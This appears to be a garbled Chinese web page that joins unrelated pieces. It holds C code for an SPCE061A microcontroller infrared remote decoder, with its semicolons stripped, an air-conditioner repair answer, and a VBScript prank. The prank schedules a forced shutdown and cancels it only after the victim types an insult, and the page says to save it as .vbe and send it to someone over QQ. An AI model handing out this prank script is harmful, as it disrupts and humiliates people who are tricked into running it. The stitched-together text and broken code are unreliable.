#include "SPCE061A.H"
#define LED_SEG 0x00ff //IOB0~IOB7
#define LED_DIG 0x3f00 //IOB8~IOB13
unsigned int Time=0,Code[40]={0},CodeNum=0//计数器,32位码,码字计数
//extern unsigned int Time,CodeNum,Code[40]
unsigned int Star_Flag,First_IRQ
//====================================================================================
//函数名称:unsigned getkey(void)
//函数功能:获得红外遥控器键值
//入口参数:无
//出口参数:无
//说明:适用于32位码字红外接收头及宏科万能遥控器
//====================================================================================
unsigned getkey(void)
{
unsigned int j=0
unsigned int DateCode,key=0
if(Code[0]==5) //判断头部是否是5;防止误接收
{ for(j=9j<=14j++)
{
*P_Watchdog_Clear = 0x01
if(Code[j]==1&&Code[j+1]==1&&Code[j+2]==1&&Code[j+3]==1&&Code[j+4]==1&&Code[j+5]==1&&Code[j+6]==0&&Code[j+7]==1)
{ //判断用户识别码是不是1111 1101
for(DateCode=0DateCode<8DateCode++)//若是,则开始接收八位数据码
{
Code[j+8+DateCode]<<=8
key|=Code[j+8+DateCode]
key>>=1 //将八位二进制数倒序转成16进制
}
break
}
}
Code[0]=0//将头部清零
return key//返回键值
}
else return(0)
}
//====================================================================
//函数名称:void IO_Init()
//函数功能:IO口初始化,主要是设置IOB2口,用于外中断
//入口参数:无
//出口参数:无
//====================================================================
void IO_Init()
{
*P_IOB_Attrib&=0xfffb //IOB2端口上拉电阻输入 外中断
*P_IOB_Dir&=0xfffb
*P_TimerA_Ctrl=C_SourceA_32768Hz+C_SourceB_1//TimerA:32768Hz
*P_TimerA_Data=0xfffe
*P_INT_Ctrl=C_IRQ3_EXT1|C_IRQ1_TMA// 外中断1,时基中断,定时中断
__asm("INT IRQ")
}
//=====================================================================
//函数名称:
//函数功能:中断函数
//入口参数:无
//出口参数:无
//=====================================================================
void IRQ3(void) __attribute__ ((ISR))
void IRQ3(void)
{
if(*P_INT_Ctrl&C_IRQ3_EXT2)
{ //IRQ3_Ext1
*P_INT_Clear=C_IRQ3_EXT2
}
else if(*P_INT_Ctrl&C_IRQ3_EXT1)
{//外中断1用于判断脉冲个数
if(!First_IRQ) {Time=0First_IRQ=1}//第一次外中断来时设置
else
{
if(Time>180&&Time<240)//判断起始码
{Star_Flag=1CodeNum=0Code[0]=5CodeNum=1Time=0}//起始码来时设置
if(Star_Flag)//开始接收
{
if((Time>=10)&&(Time<25))Code[CodeNum]=0//计数值设置
else if((Time>25)&&(Time<40))Code[CodeNum]=1
CodeNum++//码字计数器加1
Time=0//计数值清零,以对下一个脉冲宽度进行计时
if(CodeNum>40) {CodeNum=0Star_Flag=0First_IRQ=0}//脉冲个数判断,共32个,此处设为40,是为防止漏接收
}
}
*P_INT_Clear=C_IRQ3_EXT1
}
else
{
*P_INT_Clear=C_IRQ3_KEY//IRQ3_KeyWakeUp
}
}
void IRQ1(void) __attribute__ ((ISR))
void IRQ1(void)
{ Time++//计数以获得脉冲宽度
*P_INT_Clear=C_IRQ1_TMA//clear INT flag
}
——空调出故障了?以我修过7年的空调经验告诉你怎么解决这些故障,应该能让你少走不少弯路。第一:遇到空调出现故障代码时你可以去【空调故障代码网】查询,细到空调品牌和型号。
在碰到空调有故障的时候必须严格遵循科学的程序办事,切忌在情况不清、故障不明、心中无数时就盲目行动,随意拆卸。这样做的后果往往会使已有的故障扩大化,增大运行成本,缩短设备的正常使用寿命,导致设备提前报废。
第二:在空调制冷不好或者不制冷的最常见故障我编成了一个绕口令,可以参考一下。
空调制冷不好或者不制冷
这个问题最常见空调缺氟是关键
开机先摸回气管通过温度来判断
如果冰凉查内机风机转速可能低
内管鳞片和防尘清洗干净或更换
如果内管不算凉粗管可能有压扁
回气温度不算凉再摸进气来判断
进气冰凉还结霜加氟再来试试看
结霜如果慢慢散定是缺氟好决断
压机老化不难见排气不足是重点
四通串气也常见通过收氟来判断
高压鳞片必须看脏了也会制冷慢
如果还不明白还是建议你去【空调故障代码网】基础知识专区与多看看维修案例就可以上手了。
希望你越过越好,新的一年,顺心如意,心想事成,身体健康,合家欢乐
———————————最后祝工作顺利,早些把空调修好,生活开心——————————
—————————觉得好就请点采纳答案把,给个好评,祝愿你生活更美好——————
我不知道你是不是这个整人代码!
代码如下:
--------------------------------------------我是横线不要复制我------------------------------------------
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,你确实是一头猪~"
--------------------------------------------我是横线不要复制我------------------------------------------
将横线内的代码复制到记事本内~~然后另存为名字随便你起记住后面的一定要加 .vbe
把文件传送给对方~~只要对方一打开一分钟就会关机,如上面说的,要你说那三个字,就不会关机了哈哈大家试试吧。
用QQ传送文件发送给他!叫他打开!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)